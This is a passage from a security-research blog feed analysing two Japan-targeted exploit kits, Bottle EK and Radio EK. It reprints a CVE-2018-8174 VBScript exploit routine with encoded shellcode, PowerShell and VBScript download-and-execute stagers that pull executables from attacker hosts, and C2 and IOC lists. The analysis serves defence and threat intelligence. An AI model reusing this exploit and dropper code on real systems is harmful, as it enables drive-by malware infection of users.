(_0x446c09['charAt'](0x0) == ' ') _0x446c09 = _0x446c09['substring'](0x1); if (_0x446c09['indexOf'](_0x33b1ee) != -0x1) return _0x446c09['substring'](_0x33b1ee['length'], _0x446c09['length']); } return ''; } } else if (_0x2ad29a[0x0] != '') { var _0x5a39f4 = document['createElement']('script'); _0x5a39f4['type'] = 'text/vbscript'; _0x5a39f4['src'] = _0x2ad29a[0x0]; document['body']['appendChild'](_0x5a39f4); } } vbs.vbs exploits CVE-2018-8174 and swf.swf exploits CVE-2018-15982. CVE-2018-8174 vbs.vbs is a simple string encoding. Decoding this will give you almost the same code as the PoC. Sub StartExploit UAF InitObjects vb_adrr=LeakVBAddr() vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr)) msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") krb_base=GetBaseFromImport(msv_base,"kernelbase.dll") ntd_base=GetBaseFromImport(msv_base,"ntdll.dll") VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") NtContinueAddr=GetProcAddr(ntd_base,"NtContinue") SetMemValue GetShellcode() ShellcodeAddr=GetMemValue()+8 SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr) lIlll=GetMemValue()+69596 SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue() ExecuteShellcode End Sub StartExploit This is the shellcode that is running. Function GetShellcode() IIlI=Unescape("%u0000%u0000%u0000%u0000") &amp;Unescape("%u4cbf%u73d0%udb2c%ud9c5%u2474%u5bf4%uc92b%uc3b1%u7b31%u0313%u137b%uc383%u3248%uc586%ub3ff%u1669%u129b%u1659%u5563%ud61f%u581b%u9794%ue9d7%u03ea%ued6c%u2b61%uaef9%uef65%ueece%ue36d%u2f59%ufcf2%uaf99%u42fa%uac50%uf9c5%ub9e8%u3441%u5399%u928a%u40ea%uf18e%uabfc%ub143%u91b1%uc263%u73c0%ua49c%u7ceb%u2d28%u4338%uee19%u04b5%uc8a6%ub29d%u5eaa%u48ee%ua716%u7468%ua355%u8963%uc79e%u923b%u5373%u8ee3%ue825%uef63%uae42%uec9b%u2c9b%uf16c%u7bfc%ubb1b%uf5f2%ub84e%u407a%u7b84%u3dbf%uf727%u3e7a%u132c%ubd03%uf4e5%u3d85%ufaf6%u84a1%u7100%uf9db%u8555%u4068%u4ea9%ubf2a%u5223%u1b5f%ue940%u64ac%u57cd%u1051%udcdd%u5fad%u25de%u08fd%ufc1f%u5df2%uf0d3%ua6bd%u85a8%u568f%u9ea5%u948e%u177e%u62d5%u6d0b%ucc2e%ua750%ua40d%udbed%uafc3%u23f1%u2fe4%u0ea9%u3bf4%u5177%u067d%uda7b%u7538%u1e4a%u0e97%u22a0%u1df4%u736b%uf652%u8450%uf9a3%u8bed%uc0dd%u7e05%ucce0%u860d%u32e3%u0232%ua7c3%ueacc%ubcc2%ufc37%u3c02%u0238%u3d04%uf9b0%uc72c%u1cd4%u37d0%ua2db%ud8ea%uebae%u89da%ub539%ud51e%ub3e9%ud55a%u8284%u7550%u5c69%ufc9d%u99d0%ub810%u099a%u13d4%u551e%u151c%u5d5b%u539e%u756b%u6290%u7a94%uadac%uc3e3%u2d5b%ud385%u35b3%u1b97%u49bc%u6f51%u4a3e%u1962%u3bcd%ufeda%uef25%u011c%uef4a%u75d6%ue8c8%ufce9%u8023%u0d53%u56ac%uf2a5%ua8d3%u866f%ua351%uee70%uc2bd%u1fc8%u6056%ue02a%u7659%u94e4%u765d%ub77e%ucf28%u2f6a%u2e8f%u506d%uf82f%ue918%ufacc%ud66c%u9c04%ue96e%u622a%u9fb8%ubd93%ue93b%u563f%ue848%u59bf%ud1cd%uf900%u9f58%u5ba4%ue901%u8b66%u169f%ub397%ue836%u4c68%ubcc8%ua0e3%ud249%u39b4%u2b49%u6c66%uc31e%u6e75%uec5f%u7b39%u2d8a%u0946%u5680%u54cb%u6b20%u0608%udfe3%ue269%u88cb%u9901%u8fbb%uadaf%u3f01%u5e1f%u7ab2%uec8f%uf355%ud601%u2fe0%ub634%uaa9e%u0300%u5986%ue7ea%u6545%u2bb1%u1ad0%ub714%u98e5%u5888%u0d84%u602a%ub613%u00c3%u18f5%u98db%u15e1%u528b%u12ce%u7f0e%uf857%u4eac%u5f1f%u4f3f%u7c49%ue640%u4155%u0709%ub995%u0200%u79fd%u3f2c%u86fd%u64e7%u0c16%u6160%uede9%ue470%u2d6c%u098e%ufe91%ub0e2%uaf26%u6a03%uc2b0%u67b9%u5190%u48c4%u95ee%u1838%u2fc9%uea33%ucca3%ucad3%ueb0e%ua64b%u25e4%u0d53%u5ff8%ueb23%u5f00%uff85%ucde8%uffd4%u7c17%uc865%ub8e4%u4127%u82af%u0137%u583f%u2f9b%u9eba%ucfe5%u4e3b%u7597%u3f0b%u302c%u934f%uebcd%u915b%u78f2%uf169%u8b4a%u016d%uda54%uea49%ub067%u691c%uc9b7%u8de1%uc968%u6a4b%u6bd6%u4328%u5f2b%ueb9a%ufa15%u135a%u8446%u4bf2%u3644%uf808%u2d83%ua621%u871f%u46da%u4625%u4dd5%uae62%u62cf%u23b9%u8f5f%u0d88%u0f0c%uce77%u67c1%u4614%u0844%u868d%u84e2%ud721%u3dbd%ubed4%udb2f%u6f5c%u4fcb%u6ff1%ue246%u1d65%u6c07%ub958%u1cbb%u15a4%u9006%u95f4" &amp;lIIII(IIIII(""))) IIlI=IIlI &amp; String((&amp;h80000-LenB(IIlI))/2,Unescape("%u4141")) GetShellcode=IIlI End Function CVE-2018-15982 swf.swf is almost the same as PoC. package { import com.adobe.tvsdk.mediacore.metadata.Metadata; import flash.display.Sprite; import flash.events.Event; import flash.net.LocalConnection; import flash.system.Capabilities; import flash.utils.ByteArray; import flash.utils.Endian; public class Main extends Sprite { The executed shellcode is the same as CVE-2018-8174. Shellcode The shellcode downloads and executes malware just like other EKs. The malware is not encrypted. The shellcode was encoded by Shikata Ga Nai Encoder. The decoded shellcode is a simple code that downloads and executes a malwre. The list of APIs to use is as follows: The API hashing algorithm is imul83hAdd. Interestingly, the URL string of the download destination was created as a mutex. The malware is created as svchost.exe in% temp% and then executed with the WinExe function. Malware The malware is probably unique. We have never seen this elsewhere. According to my friend @VK_Intel, this could be a stealer targeting Japan. These are the characteristics of this malware. Check if Japanese environment using GetUserDefaultUILanguage Download and use unzip.exe from these websites ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe ftp://freddy-ru.starlink.ru/ckJlag/antivir/SDFix/apps/unzip.exe ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe Download and use Tor https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip C2 [POST] 5frjkvw2w3wv6dnv.onion/conn.php [GET] 5frjkvw2w3wv6dnv.onion/rd.php [POST] 4w6ylniamu6x7e3a.onion/connect.php User-Agent is Mozilla/5.0 (Windows NT 6.1; WOW64) Main file location %temp% C:\Users\Public Finally Bottle Exploit Kit is an exploit kit targeting Japan. It’s not as sophisticated as the Exploit Kit, but JavaScript is elaborate. It has been observed for at least three months ago, and its activity continues today. The vulnerabilities it exploits are the same as other EKs. The same should be noted. Keep an eye on trend of it. Many people helped with our research. Special thanks to @kafeine and @VK_Intel. IOC BottleEK Traffic priv.inteleksys.com (139.180.136.22) / /file/style.css /file/ajax.min.js /file/main.js /file/1.gif /conn.php /file/vbs.vbs /file/swf.swf sales.inteleksys.com (139.99.115.204) Hash main.js 588bb25acf86ac18323d800372bbdc0eb89ba3ce80ed3d891a9c41b8db93df26 1.gif f89a8cc4dee2ac551380d0ecf5ee2d6dc2d2be20bb1929599a23edf79d8ed127 vbs.vbs 0afe359d9659f9d43a737bf2e1fcbe4d7e216fee3085cad153a4548785bb0166 swf.swf 340bfa57fafda31843588619cf505d08bdf41b6c3caf0df2b3b260473f3768d1 Malware Traffic https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip 5frjkvw2w3wv6dnv.onion /conn.php /rd.php 4w6ylniamu6x7e3a.onion /connect.php Hash Malware 914eb64b93cbb631c710ef6cbd0f9cedf93415be421ccc6e285b288b87f3a246 c1b67a30119107365c4a311479794e07afb631980a649749501cb9f511fb0ab4 DLL 7d6823211590d0c9beffb964051ff0638e3e00beae3274733a6ccdf5c41fdede 6625c178cc56184a1d8f8d0cbabff3abcc90820cd158b5860b10d6196d606a82]]></summary></entry><entry><title type="html">Weak Drive-by Download attack with “Radio Exploit Kit”</title><link href="http://nao-sec.org/2019/07/weak-dbd-attack-with-radioek.html" rel="alternate" type="text/html" title="Weak Drive-by Download attack with “Radio Exploit Kit”" /><published>2019-07-15T15:00:00+00:00</published><updated>2019-07-15T15:00:00+00:00</updated><id>http://nao-sec.org/2019/07/weak-dbd-attack-with-radioek</id><content type="html" xml:base="http://nao-sec.org/2019/07/weak-dbd-attack-with-radioek.html"><![CDATA[<h2 id="first">First</h2>
<p>Since July 11 2019, we have observed a new Drive-by Download attack. It is redirected from the ad-network. It does not use a conventional Exploit Kit such as RIG or Fallout, but uses its own exploit kit. We call this “Radio Exploit Kit”.</p>

<blockquote class="twitter-tweet" data-lang="ja"><p lang="en" dir="ltr">Malvertising -&gt; Unknown EK🚀 -&gt; <a href="https://twitter.com/hashtag/AZORult?src=hash&amp;ref_src=twsrc%5Etfw">#AZORult</a><br />(CC: <a href="https://twitter.com/malware_traffic?ref_src=twsrc%5Etfw">@malware_traffic</a>, <a href="https://twitter.com/jeromesegura?ref_src=twsrc%5Etfw">@jeromesegura</a>, <a href="https://twitter.com/BleepinComputer?ref_src=twsrc%5Etfw">@BleepinComputer</a>)<a href="https://t.co/CkSfs38D8q">https://t.co/CkSfs38D8q</a> <a href="https://t.co/Uk37R7g1xh">pic.twitter.com/Uk37R7g1xh</a></p>&mdash; nao_sec (@nao_sec) <a href="https://twitter.com/nao_sec/status/1149273164058222592?ref_src=twsrc%5Etfw">2019年7月11日</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>The Radio Exploit Kit is not advanced. It exploits a very used vulnerability CVE-2016-0189. The exploit kit code is also unrefined. It is simply sending in malware (we are observing AZORult) using PoC of CVE-2016-0189. We don’t expect this to be a real threat. Most ordinary people will not be affected by this. However, I write this article because it is often observed in Japan. Be aware that these threats exist.</p>

<h2 id="traffic">Traffic</h2>
<p>This exploit kit is in the process of growing. Five updates have been made since we started observation (including simple path updates). We identify each one as follows. Here we introduce v1.0, 1.1 and 1.2.0.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Version First seen          2nd URL
1.0     2019-07-11_10-00    https[:]//radiobox-online.org/images/image.vbs2
1.1     2019-07-12-20-00    http[:]//95.215.207.24/error.jp
1.2.0   2019-07-13_14-00    http[:]//95.215.207.24/im/1.jpg
1.2.1   2019-07-13_15-00    http[:]//95.215.207.24/im/build1.jpg
1.2.2   2019-07-14_13-00    http[:]//95.215.207.24/im/build11.jpg
1.2.3   2019-07-14_20-00    http[:]//95.215.207.24/im/vkino2.mid
</code></pre></div></div>

<h3 id="v10">v1.0</h3>
<p>First, let’s look at v1.0. It is the traffic when we first encountered Radio EK.</p>

<p><img src="https://nao-sec.org/assets/2019-07-16/1.0.png" alt="" /></p>

<p>When redirected from the ad-network to <code class="language-plaintext highlighter-rouge">https [:] // radiobox-online.org</code>, code that exploits CVE-2016-0189 will be executed. This is not obfuscated and is the same as PoC. The important code is this.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Set</span> <span class="kt">Object</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Shell.Application"</span><span class="p">)</span>
<span class="kt">Object</span><span class="p">.</span><span class="n">ShellExecute</span> <span class="s">"PowerShell"</span><span class="p">,</span><span class="s">"(New-Object System.Net.WebClient).DownloadFile('https[:]//radiobox-online.org/images/image.vbs2','documentation.vbs');Start-Process 'documentation.vbs'"</span>
</code></pre></div></div>

<p>This will generate a second traffic. <code class="language-plaintext highlighter-rouge">image.vbs2</code> is a very simple code.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mm</span> <span class="o">=</span> <span class="s">"h"</span>
<span class="n">nn</span> <span class="o">=</span> <span class="s">"t"</span>
<span class="n">bb</span> <span class="o">=</span> <span class="s">"/"</span>
<span class="n">vv</span> <span class="o">=</span> <span class="s">":"</span>
<span class="n">cc</span> <span class="o">=</span> <span class="s">"p"</span>
<span class="n">x</span> <span class="o">=</span> <span class="s">"."</span>
<span class="n">zz</span> <span class="o">=</span> <span class="s">"vbs"</span>
<span class="n">q</span> <span class="o">=</span> <span class="s">"0"</span>
<span class="n">w</span> <span class="o">=</span> <span class="s">"1"</span>
<span class="n">e</span> <span class="o">=</span> <span class="s">"2"</span>
<span class="n">r</span> <span class="o">=</span> <span class="s">"3"</span>
<span class="n">t</span> <span class="o">=</span> <span class="s">"4"</span>
<span class="n">y</span> <span class="o">=</span> <span class="s">"5"</span>
<span class="n">u</span> <span class="o">=</span> <span class="s">"6"</span>
<span class="n">a</span> <span class="o">=</span> <span class="s">"7"</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">"8"</span>
<span class="n">f</span> <span class="o">=</span> <span class="s">"9"</span>

<span class="n">strr</span> <span class="o">=</span> <span class="n">mm&amp;nn&amp;nn&amp;cc&amp;vv&amp;bb&amp;bb</span>
<span class="n">rrts</span> <span class="o">=</span> <span class="n">t&amp;y&amp;x&amp;w&amp;e&amp;x&amp;e&amp;w&amp;y&amp;x&amp;w&amp;y&amp;a&amp;bb</span>
<span class="n">rprt</span> <span class="o">=</span> <span class="n">strr&amp;rrts</span>

<span class="n">d</span><span class="p">.</span><span class="n">Add</span> <span class="s">"1"</span><span class="p">,</span> <span class="s">""</span><span class="o">&amp;</span><span class="n">rprt&amp;</span><span class="s">"src/load2.jpg|"</span><span class="o">&amp;</span><span class="n">temp&amp;</span><span class="s">"\temp.vbs"</span>
<span class="k">Set</span> <span class="n">x</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"MSXML2.XMLHTTP"</span><span class="p">)</span>
<span class="k">For</span> <span class="k">Each</span> <span class="n">i</span> <span class="ow">In</span> <span class="n">d</span> 
<span class="n">x</span><span class="p">.</span><span class="n">open</span> <span class="s">"GET"</span><span class="p">,</span> <span class="n">Split</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">Item</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">"|"</span><span class="p">)(</span><span class="mi">0</span><span class="p">),</span> <span class="n">false</span>
<span class="n">x</span><span class="p">.</span><span class="n">send</span><span class="p">()</span>
</code></pre></div></div>

<p>This will load <code class="language-plaintext highlighter-rouge">load2.jpg</code>. <code class="language-plaintext highlighter-rouge">load2.jpg</code> is also a simple code.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Set</span> <span class="n">css</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"WScript.Shell"</span><span class="p">)</span>
<span class="n">css</span> <span class="o">=</span> <span class="s">"http[:]//45.12.215.157/images/"</span>
<span class="n">ico</span> <span class="o">=</span> <span class="s">".exe"</span>
<span class="n">css1</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
<span class="n">css2</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">101</span><span class="p">,</span> <span class="mi">200</span><span class="p">)</span>
<span class="n">css3</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">201</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>
<span class="n">css4</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">301</span><span class="p">,</span> <span class="mi">400</span><span class="p">)</span>
<span class="n">css5</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">401</span><span class="p">,</span> <span class="mi">500</span><span class="p">)</span>

<span class="k">Set</span> <span class="n">oShell</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span> <span class="s">"WScript.Shell"</span> <span class="p">)</span>
<span class="n">temp</span><span class="o">=</span><span class="n">oShell</span><span class="p">.</span><span class="n">ExpandEnvironmentStrings</span><span class="p">(</span><span class="s">"%TEMP%\"</span><span class="p">)</span>
<span class="k">Dim</span> <span class="nv">good</span>
<span class="k">Set</span> <span class="n">good</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"WScript.Shell"</span><span class="p">)</span>
<span class="n">good</span> <span class="o">=</span> <span class="mi">200</span>
<span class="c1">''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1</span>
<span class="n">set</span> <span class="n">d</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Scripting.Dictionary"</span><span class="p">)</span>

<span class="n">d</span><span class="p">.</span><span class="n">Add</span> <span class="s">"1"</span><span class="p">,</span> <span class="s">""</span> <span class="o">&amp;</span> <span class="n">css</span> <span class="o">&amp;</span> <span class="s">"1.jpg|"</span><span class="o">&amp;</span><span class="n">temp&amp;</span><span class="s">""</span> <span class="o">&amp;</span> <span class="n">css1</span> <span class="o">&amp;</span> <span class="s">""</span> <span class="o">&amp;</span> <span class="n">ico</span> <span class="o">&amp;</span> <span class="s">""</span>
<span class="k">Set</span> <span class="n">ar1</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"MSXML2.XMLHTTP"</span><span class="p">)</span>
<span class="k">For</span> <span class="k">Each</span> <span class="n">i</span> <span class="ow">In</span> <span class="n">d</span> 
<span class="n">ar1</span><span class="p">.</span><span class="n">open</span> <span class="s">"GET"</span><span class="p">,</span> <span class="n">Split</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">Item</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">"|"</span><span class="p">)(</span><span class="mi">0</span><span class="p">),</span> <span class="n">false</span>
<span class="n">ar1</span><span class="p">.</span><span class="n">send</span><span class="p">()</span>
<span class="k">If</span> <span class="n">ar1</span><span class="p">.</span><span class="n">Status</span> <span class="o">=</span> <span class="n">good</span> <span class="k">Then</span>
<span class="k">With</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"ADODB.Stream"</span><span class="p">)</span>
<span class="p">.</span><span class="n">Open</span>
<span class="p">.</span><span class="n">Type</span> <span class="o">=</span> <span class="mi">1</span>
<span class="p">.</span><span class="n">Write</span> <span class="n">ar1</span><span class="p">.</span><span class="n">ResponseBody</span>
<span class="p">.</span><span class="n">Position</span> <span class="o">=</span> <span class="mi">0</span>
<span class="p">.</span><span class="n">SaveToFile</span> <span class="n">Split</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">Item</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">"|"</span><span class="p">)(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">2</span>
<span class="p">.</span><span class="n">Close</span>
<span class="k">End</span> <span class="k">With</span>
<span class="n">set</span> <span class="n">WshShell</span> <span class="o">=</span> <span class="n">WScript</span><span class="p">.</span><span class="n">CreateObject</span><span class="p">(</span><span class="s">"Wscript.Shell"</span><span class="p">)</span>
<span class="n">WshShell</span><span class="p">.</span><span class="n">Run</span> <span class="n">temp</span> <span class="o">&amp;</span> <span class="s">""</span><span class="o">&amp;</span> <span class="n">css1</span> <span class="o">&amp;</span><span class="s">""</span> <span class="o">&amp;</span> <span class="n">ico</span> <span class="o">&amp;</span> <span class="s">""</span><span class="p">,</span> <span class="p">,</span><span class="n">true</span>
<span class="k">End</span> <span class="k">If</span>
<span class="k">Next</span>
</code></pre></div></div>

<p>This process is repeated from <code class="language-plaintext highlighter-rouge">1.jpg</code> to<code class="language-plaintext highlighter-rouge"> 5.jpg</code> in order. The <code class="language-plaintext highlighter-rouge">1.jpg</code> downloaded and executed in this way is malware. Malware is unencrypted and is plain binary.</p>

<h3 id="v11">v1.1</h3>
<p>Next, let’s look at v1.1.</p>

<p><img src="https://nao-sec.org/assets/2019-07-16/1.1.png" alt="" /></p>

<p>For v1.1, the code executed by CVE-2016-0189 is as follows:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Set</span> <span class="kt">Object</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Shell.Application"</span><span class="p">)</span>
<span class="kt">Object</span><span class="p">.</span><span class="n">ShellExecute</span> <span class="s">"PowerShell"</span><span class="p">,</span>  <span class="s">"(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1ehqM6');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/error.jp', $local_path+'documentation.vbs');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.vbs';Start-Process $local_path2"</span>
</code></pre></div></div>

<p>Unlike v1.0, the VBScript URL to be loaded next is <code class="language-plaintext highlighter-rouge">http[:]//95.215.207.24/error.jp</code>. At this time, the end of the URL is <code class="language-plaintext highlighter-rouge">.jp</code>. I don’t know if this is a mistake in hitting <code class="language-plaintext highlighter-rouge">jpg</code> or meaning <code class="language-plaintext highlighter-rouge">Japan</code>.</p>

<p><code class="language-plaintext highlighter-rouge">error.jp</code> will execute code similar to v1.0 <code class="language-plaintext highlighter-rouge">load2.jpg</code>.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Set</span> <span class="n">css</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"WScript.Shell"</span><span class="p">)</span>
<span class="n">css</span> <span class="o">=</span> <span class="s">"http[:]//95.215.207.24/im/"</span>
<span class="n">ico</span> <span class="o">=</span> <span class="s">".exe"</span>
<span class="n">css1</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
<span class="n">css2</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">101</span><span class="p">,</span> <span class="mi">200</span><span class="p">)</span>
<span class="n">css3</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">201</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>
<span class="n">css4</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">301</span><span class="p">,</span> <span class="mi">400</span><span class="p">)</span>
<span class="n">css5</span> <span class="o">=</span> <span class="s">"temp"</span> <span class="o">&amp;</span> <span class="n">rand</span><span class="p">(</span><span class="mi">401</span><span class="p">,</span> <span class="mi">500</span><span class="p">)</span>

<span class="k">Set</span> <span class="n">oShell</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span> <span class="s">"WScript.Shell"</span> <span class="p">)</span>
<span class="n">temp</span><span class="o">=</span><span class="n">oShell</span><span class="p">.</span><span class="n">ExpandEnvironmentStrings</span><span class="p">(</span><span class="s">"%TEMP%\"</span><span class="p">)</span>
<span class="k">Dim</span> <span class="nv">good</span>
<span class="k">Set</span> <span class="n">good</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"WScript.Shell"</span><span class="p">)</span>
<span class="n">good</span> <span class="o">=</span> <span class="mi">200</span>
<span class="c1">''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1</span>
<span class="n">set</span> <span class="n">d</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Scripting.Dictionary"</span><span class="p">)</span>

<span class="n">d</span><span class="p">.</span><span class="n">Add</span> <span class="s">"1"</span><span class="p">,</span> <span class="s">""</span> <span class="o">&amp;</span> <span class="n">css</span> <span class="o">&amp;</span> <span class="s">"1.jpg|"</span><span class="o">&amp;</span><span class="n">temp&amp;</span><span class="s">""</span> <span class="o">&amp;</span> <span class="n">css1</span> <span class="o">&amp;</span> <span class="s">""</span> <span class="o">&amp;</span> <span class="n">ico</span> <span class="o">&amp;</span> <span class="s">""</span>
<span class="k">Set</span> <span class="n">ar1</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"MSXML2.XMLHTTP"</span><span class="p">)</span>
<span class="k">For</span> <span class="k">Each</span> <span class="n">i</span> <span class="ow">In</span> <span class="n">d</span> 
<span class="n">ar1</span><span class="p">.</span><span class="n">open</span> <span class="s">"GET"</span><span class="p">,</span> <span class="n">Split</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">Item</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">"|"</span><span class="p">)(</span><span class="mi">0</span><span class="p">),</span> <span class="n">false</span>
<span class="n">ar1</span><span class="p">.</span><span class="n">send</span><span class="p">()</span>
<span class="k">If</span> <span class="n">ar1</span><span class="p">.</span><span class="n">Status</span> <span class="o">=</span> <span class="n">good</span> <span class="k">Then</span>
<span class="k">With</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"ADODB.Stream"</span><span class="p">)</span>
<span class="p">.</span><span class="n">Open</span>
<span class="p">.</span><span class="n">Type</span> <span class="o">=</span> <span class="mi">1</span>
<span class="p">.</span><span class="n">Write</span> <span class="n">ar1</span><span class="p">.</span><span class="n">ResponseBody</span>
<span class="p">.</span><span class="n">Position</span> <span class="o">=</span> <span class="mi">0</span>
<span class="p">.</span><span class="n">SaveToFile</span> <span class="n">Split</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">Item</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">"|"</span><span class="p">)(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">2</span>
<span class="p">.</span><span class="n">Close</span>
<span class="k">End</span> <span class="k">With</span>
<span class="n">set</span> <span class="n">WshShell</span> <span class="o">=</span> <span class="n">WScript</span><span class="p">.</span><span class="n">CreateObject</span><span class="p">(</span><span class="s">"Wscript.Shell"</span><span class="p">)</span>
<span class="n">WshShell</span><span class="p">.</span><span class="n">Run</span> <span class="n">temp</span> <span class="o">&amp;</span> <span class="s">""</span><span class="o">&amp;</span> <span class="n">css1</span> <span class="o">&amp;</span><span class="s">""</span> <span class="o">&amp;</span> <span class="n">ico</span> <span class="o">&amp;</span> <span class="s">""</span><span class="p">,</span> <span class="p">,</span><span class="n">true</span>
<span class="k">End</span> <span class="k">If</span>
<span class="k">Next</span>
</code></pre></div></div>

<p>This is also repeated until <code class="language-plaintext highlighter-rouge">/im/5.jpg</code>. The downloaded / executed <code class="language-plaintext highlighter-rouge">/im/1.jpg</code> is malware. As in v1.0, malware is not encrypted.</p>

<h3 id="v120">v1.2.0</h3>
<p>Finally, let’s look at v1.2.</p>

<p><img src="https://nao-sec.org/assets/2019-07-16/1.2.png" alt="" /></p>

<p>It became very simple. It can be said that nothing is over. The code executed by CVE-2016-0189 is as follows:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Set</span> <span class="kt">Object</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Shell.Application"</span><span class="p">)</span>
<span class="kt">Object</span><span class="p">.</span><span class="n">ShellExecute</span> <span class="s">"PowerShell"</span><span class="p">,</span>  <span class="s">"(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1YdQt7');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/im/1.jpg', $local_path+'documentation.exe');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.exe';Start-Process $local_path2"</span>
</code></pre></div></div>

<p>Thus, <code class="language-plaintext highlighter-rouge">/im/1.jpg</code> downloaded and executed is malware. As before, malware is not encrypted.</p>

<p>The path of <code class="language-plaintext highlighter-rouge">/im/1.jpg</code> has only changed since v1.2.0. The essential process is the same.</p>

<h2 id="conclusion">Conclusion</h2>
<p>Radio EK is active, but its attack power is very low. Compared to RIG and Fallout, the threat is not something that bothers you. However, there may be aggressive updates in the future. You should be aware of the existence of this EK.</p>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[First Since July 11 2019, we have observed a new Drive-by Download attack. It is redirected from the ad-network. It does not use a conventional Exploit Kit such as RIG or Fallout, but uses its own exploit kit. We call this “Radio Exploit Kit”. Malvertising -&gt; Unknown EK🚀 -&gt; #AZORult(CC: @malware_traffic, @jeromesegura, @BleepinComputer)https://t.co/CkSfs38D8q pic.twitter.com/Uk37R7g1xh&mdash; nao_sec (@nao_sec) 2019年7月11日 The Radio Exploit Kit is not advanced. It exploits a very used vulnerability CVE-2016-0189. The exploit kit code is also unrefined. It is simply sending in malware (we are observing AZORult) using PoC of CVE-2016-0189. We don’t expect this to be a real threat. Most ordinary people will not be affected by this. However, I write this article because it is often observed in Japan. Be aware that these threats exist. Traffic This exploit kit is in the process of growing. Five updates have been made since we started observation (including simple path updates). We identify each one as follows. Here we introduce v1.0, 1.1 and 1.2.0. Version First seen 2nd URL 1.0 2019-07-11_10-00 https[:]//radiobox-online.org/images/image.vbs2 1.1 2019-07-12-20-00 http[:]//95.215.207.24/error.jp 1.2.0 2019-07-13_14-00 http[:]//95.215.207.24/im/1.jpg 1.2.1 2019-07-13_15-00 